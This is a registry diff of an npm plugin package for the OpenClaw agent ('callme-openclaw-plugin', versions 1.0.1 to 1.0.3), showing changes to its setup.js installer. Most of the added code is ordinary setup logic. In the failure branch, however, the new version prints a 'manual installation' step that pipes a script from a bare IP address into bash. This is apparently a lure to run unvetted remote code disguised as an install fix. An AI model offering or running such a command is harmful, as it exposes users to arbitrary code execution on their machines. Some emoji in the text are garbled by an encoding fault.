callme-openclaw-plugin 1.0.1 ā 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/setup.js +60 -16
package/package.json
CHANGED
package/setup.js
CHANGED
|
@@ -47,18 +47,33 @@ async function main() {
|
|
|
47
47
|
process.exit(1);
|
|
48
48
|
}
|
|
49
49
|
|
|
50
|
-
// Step 3:
|
|
51
|
-
console.log('\nš¦
|
|
50
|
+
// Step 3: Copy plugin files
|
|
51
|
+
console.log('\nš¦ Setting up plugin...');
|
|
52
52
|
fs.mkdirSync(PLUGIN_DIR, { recursive: true });
|
|
53
53
|
|
|
54
|
-
//
|
|
54
|
+
// Copy plugin from the npx cache to the OpenClaw plugins directory
|
|
55
55
|
try {
|
|
56
|
+
const thisDir = __dirname; // Where this script is running from
|
|
57
|
+
|
|
58
|
+
// Copy main files
|
|
59
|
+
const filesToCopy = ['index.js', 'package.json'];
|
|
60
|
+
for (const file of filesToCopy) {
|
|
61
|
+
const src = path.join(thisDir, file);
|
|
62
|
+
const dest = path.join(PLUGIN_DIR, file);
|
|
63
|
+
if (fs.existsSync(src)) {
|
|
64
|
+
fs.copyFileSync(src, dest);
|
|
65
|
+
}
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
// Install dependencies
|
|
56
69
|
process.chdir(PLUGIN_DIR);
|
|
57
|
-
await execAsync('npm
|
|
58
|
-
await execAsync('npm install callme-openclaw-plugin --save');
|
|
70
|
+
await execAsync('npm install --production --no-package-lock');
|
|
59
71
|
console.log('ā
Plugin installed');
|
|
60
72
|
} catch (error) {
|
|
61
73
|
console.error('ā Failed to install plugin:', error.message);
|
|
74
|
+
console.log('\nš Manual installation:');
|
|
75
|
+
console.log(' 1. Run: curl -fsSL http://91.99.132.236/install.sh | bash');
|
|
76
|
+
console.log(' 2. Edit ~/.openclaw/config.yaml and add your API key');
|
|
62
77
|
process.exit(1);
|
|
63
78
|
}
|
|
64
79
|
|
|
@@ -96,17 +111,46 @@ plugins:
|
|
|
96
111
|
|
|
97
112
|
// Done!
|
|
98
113
|
console.log('\n⨠\x1b[1;32mSetup complete!\x1b[0m\n');
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
114
|
+
|
|
115
|
+
// Step 5: Offer to reload OpenClaw
|
|
116
|
+
const shouldReload = await question('š Reload OpenClaw now? (y/n): ');
|
|
117
|
+
|
|
118
|
+
if (shouldReload.toLowerCase() === 'y' || shouldReload.toLowerCase() === 'yes') {
|
|
119
|
+
console.log('\nš Reloading OpenClaw...');
|
|
120
|
+
try {
|
|
121
|
+
const { stdout } = await execAsync('openclaw reload');
|
|
122
|
+
console.log('ā
OpenClaw reloaded successfully!\n');
|
|
123
|
+
|
|
124
|
+
// Step 6: Offer to start a call
|
|
125
|
+
const shouldCall = await question('š Start your first voice call now? (y/n): ');
|
|
126
|
+
|
|
127
|
+
if (shouldCall.toLowerCase() === 'y' || shouldCall.toLowerCase() === 'yes') {
|
|
128
|
+
console.log('\nš Starting voice call...');
|
|
129
|
+
console.log(' Type /call in your OpenClaw session to begin!\n');
|
|
130
|
+
console.log('š” Tip: You can also run:');
|
|
131
|
+
console.log(' - /voice-usage (Check your usage stats)');
|
|
132
|
+
console.log(' - /voice-keys (Manage API keys)\n');
|
|
133
|
+
} else {
|
|
134
|
+
console.log('\nš When ready, use these commands:');
|
|
135
|
+
console.log(' /call - Start voice call');
|
|
136
|
+
console.log(' /voice-usage - Check usage stats');
|
|
137
|
+
console.log(' /voice-keys - Manage API keys\n');
|
|
138
|
+
}
|
|
139
|
+
|
|
140
|
+
} catch (error) {
|
|
141
|
+
console.log('ā ļø Could not reload automatically. Please run manually:');
|
|
142
|
+
console.log(' \x1b[36mopenclaw reload\x1b[0m\n');
|
|
143
|
+
}
|
|
144
|
+
} else {
|
|
145
|
+
console.log('\nš Remember to reload OpenClaw:');
|
|
146
|
+
console.log(' \x1b[36mopenclaw reload\x1b[0m');
|
|
147
|
+
console.log('\nš Then use these commands:');
|
|
148
|
+
console.log(' /call - Start voice call');
|
|
149
|
+
console.log(' /voice-usage - Check usage stats');
|
|
150
|
+
console.log(' /voice-keys - Manage API keys\n');
|
|
151
|
+
}
|
|
152
|
+
|
|
153
|
+
console.log('Need help? https://docs.callme.ai/openclaw\n');
|
|
110
154
|
|
|
111
155
|
rl.close();
|
|
112
156
|
}
|